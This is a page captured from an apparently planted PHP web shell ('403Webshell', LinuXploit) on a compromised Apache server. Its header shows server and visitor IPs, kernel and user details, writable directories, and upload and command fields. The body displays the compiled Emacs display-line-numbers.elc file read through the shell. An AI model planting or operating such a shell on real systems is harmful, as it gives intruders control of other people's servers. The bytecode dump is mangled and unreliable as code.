403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/display-line-numbers.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301\302\303\304\305\304\306&\210\307\310\311\312\313DD\314\304\301\315\316\317\320&	\210\307\321\311\312\322DD\323\304\301\315\324\317\320&	\210\307\325\311\312\326DD\327\304\301\315\330\317\331&	\207" [custom-declare-group display-line-numbers nil "Display line numbers in the buffer." :group convenience display custom-declare-variable display-line-numbers-type funcall function #[0 "\300\207" [t] 1 #1=""] "The default type of line numbers to use in `display-line-numbers-mode'.\nSee `display-line-numbers' for value options." :type (choice (const :tag "Relative line numbers" relative) (const :tag "Relative visual line numbers" visual) (other :tag "Absolute line numbers" t)) :version "26.1" display-line-numbers-grow-only #[0 "\300\207" [nil] 1 #1#] "If non-nil, do not shrink line number width." boolean display-line-numbers-width-start #[0 "\300\207" [nil] 1 #1#] "If non-nil, count number of lines to use for line number width.\nWhen `display-line-numbers-mode' is turned on, if this option is\nnon-nil, `display-line-numbers-width' is set up front to a width\nnecessary to display all line numbers in the buffer.  If the value\nis a positive number, it is interpreted as extra lines to account\nfor when computing the required width; this should be set to the\nnumber of lines in the tallest window in which you want to prevent\nthe line-number width from changing." (choice (boolean :tag "Minimum width for buffer's line count") (integer :tag "Number of extra lines to account for")) "28.1"] 10)
#@47 Prevent the line number width from shrinking.
(defalias 'display-line-numbers-update-width #[0 "\301 \211\206\302V\205\211\211\207" [display-line-numbers-width line-number-display-width 1] 3 (#$ . 1609)])
#@119 Non-nil if Display-Line-Numbers mode is enabled.
Use the command `display-line-numbers-mode' to change this variable.
(defvar display-line-numbers-mode nil (#$ . 1827))
(make-variable-buffer-local 'display-line-numbers-mode)
#@843 Toggle display of line numbers in the buffer.
This uses `display-line-numbers' internally.

This is a minor mode.  If called interactively, toggle the
`Display-Line-Numbers mode' mode.  If the prefix argument is positive,
enable the mode, and if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `display-line-numbers-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

To change the type of line numbers displayed by default,
customize `display-line-numbers-type'.  To change the type while
the mode is on, set `display-line-numbers' directly.

(fn &optional ARG)
(defalias 'display-line-numbers-mode #[256 "\306 \307=\203
?\202\247\203\310W\203\311\202\312\313\301!\2031\314\300	\"\2031\300	B\203c\n\203R\315\316ed\"\n\247\203M\n\317V\203M\n\202N\317\\!G\f\203]\320\321\322\311\312$\210
 \202l\323\321\322\312#\210\311 \324\325\203v\326\202w\327\"\210\330\331!\203\231\306 \203\213\211\306 \232\203\231\332\333\203\225\334\202\226\335\336#\210\210\337 \210\207" [display-line-numbers-mode local-minor-modes display-line-numbers-width-start display-line-numbers-width display-line-numbers-grow-only display-line-numbers-type current-message toggle 1 nil t boundp delq number-to-string count-lines 0 add-hook pre-command-hook display-line-numbers-update-width remove-hook run-hooks display-line-numbers-mode-hook display-line-numbers-mode-on-hook display-line-numbers-mode-off-hook called-interactively-p any message "Display-Line-Numbers mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update display-line-numbers] 7 (#$ . 2059) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar display-line-numbers-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\207" [display-line-numbers-mode-map display-line-numbers-mode-hook variable-documentation put "Hook run after entering or leaving `display-line-numbers-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode display-line-numbers-mode boundp] 6)
#@38 Turn on `display-line-numbers-mode'.
(defalias 'display-line-numbers--turn-on #[0 "\300 ?\205\301 \207" [minibufferp display-line-numbers-mode] 1 (#$ . 4574)])
(put 'global-display-line-numbers-mode 'globalized-minor-mode t)
(defvar display-line-numbers-mode-major-mode nil nil)
(byte-code "\300\301!\210\302\303\304\305\306DD\307\310\311\312\313\314\315&	\207" [make-variable-buffer-local display-line-numbers-mode-major-mode custom-declare-variable global-display-line-numbers-mode funcall function #[0 "\300\207" [nil] 1 ""] "Non-nil if Global Display-Line-Numbers mode is enabled.\nSee the `global-display-line-numbers-mode' command\nfor a description of this minor mode.\nSetting this variable directly does not take effect;\neither customize it (see the info node `Easy Customization')\nor call the function `global-display-line-numbers-mode'." :set custom-set-minor-mode :initialize custom-initialize-default :type boolean] 10)
#@527 Toggle Display-Line-Numbers mode in all buffers.
With prefix ARG, enable Global Display-Line-Numbers mode if ARG is
positive; otherwise, disable it.

If called from Lisp, toggle the mode if ARG is `toggle'.
Enable the mode if ARG is nil, omitted, or is a positive number.
Disable the mode if ARG is a negative number.

Display-Line-Numbers mode is enabled in all buffers where
`display-line-numbers--turn-on' would do it.

See `display-line-numbers-mode' for more information on
Display-Line-Numbers mode.

(fn &optional ARG)
(defalias 'global-display-line-numbers-mode #[256 "\303 \304\301\305=\203\306\301!?\202!\247\203 \307W\203 \310\202!\311\"\210\312\300!\2038\313\301\"\306\301!\2038\301B	\203N\314\315\316\"\210\314\317\320\"\210\314\321\322\"\210\202]\323\315\316\"\210\323\317\320\"\210\323\321\322\"\210\324 \211\203\203\211@r\211q\210	\203s\325 \210\202{\n\203{\302\326!\210)A\266\202\202_\210\327\330\306\301!\203\220\331\202\221\332\"\210\333\334!\203\271\335\301!\210\303 \203\251\211\303 \232\203\271\336\337\306\301!\203\265\340\202\266\341\342#\210\210\343 \210\306\301!\207" [global-minor-modes global-display-line-numbers-mode display-line-numbers-mode current-message set-default toggle default-value 1 nil t boundp delq add-hook after-change-major-mode-hook global-display-line-numbers-mode-enable-in-buffers find-file-hook global-display-line-numbers-mode-check-buffers change-major-mode-hook global-display-line-numbers-mode-cmhh remove-hook buffer-list display-line-numbers--turn-on -1 run-hooks global-display-line-numbers-mode-hook global-display-line-numbers-mode-on-hook global-display-line-numbers-mode-off-hook called-interactively-p any customize-mark-as-set message "Global Display-Line-Numbers mode %sabled%s" "en" "dis" "" force-mode-line-update] 6 (#$ . 5518) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar global-display-line-numbers-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\207" [global-display-line-numbers-mode-map global-display-line-numbers-mode-hook variable-documentation put "Hook run after entering or leaving `global-display-line-numbers-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode global-display-line-numbers-mode boundp] 6)
(defvar display-line-numbers-mode-set-explicitly nil nil)
(make-variable-buffer-local 'display-line-numbers-mode-set-explicitly)
(defalias 'display-line-numbers-mode-set-explicitly #[0 "\301\211\207" [display-line-numbers-mode-set-explicitly t] 2])
(byte-code "\300\301\302\303#\210\304\305\301\"\207" [put display-line-numbers-mode-set-explicitly definition-name global-display-line-numbers-mode add-hook display-line-numbers-mode-hook] 4)
(defvar global-display-line-numbers-mode-buffers nil)
(defalias 'global-display-line-numbers-mode-enable-in-buffers #[0 "\305\211\211\2059\211@\306!\2032r\211q\210	\204/\n=\204/\f\203,\304\307!\210\310 \210\202/\310 \210)A\266\202\202\207" [global-display-line-numbers-mode-buffers display-line-numbers-mode-set-explicitly display-line-numbers-mode-major-mode major-mode display-line-numbers-mode nil buffer-live-p -1 display-line-numbers--turn-on] 5])
(put 'global-display-line-numbers-mode-enable-in-buffers 'definition-name 'global-display-line-numbers-mode)
(defalias 'global-display-line-numbers-mode-check-buffers #[0 "\300 \210\301\302\303\"\207" [global-display-line-numbers-mode-enable-in-buffers remove-hook post-command-hook global-display-line-numbers-mode-check-buffers] 3])
(put 'global-display-line-numbers-mode-check-buffers 'definition-name 'global-display-line-numbers-mode)
(defalias 'global-display-line-numbers-mode-cmhh #[0 "p\211\235\203
\266\202\211B\210\301\302\303\"\207" [global-display-line-numbers-mode-buffers add-hook post-command-hook global-display-line-numbers-mode-check-buffers] 3])
(byte-code "\300\301\302\303#\210\304\305!\207" [put global-display-line-numbers-mode-cmhh definition-name global-display-line-numbers-mode provide display-line-numbers] 4)

Youez - 2016 - github.com/yon3zu
LinuXploit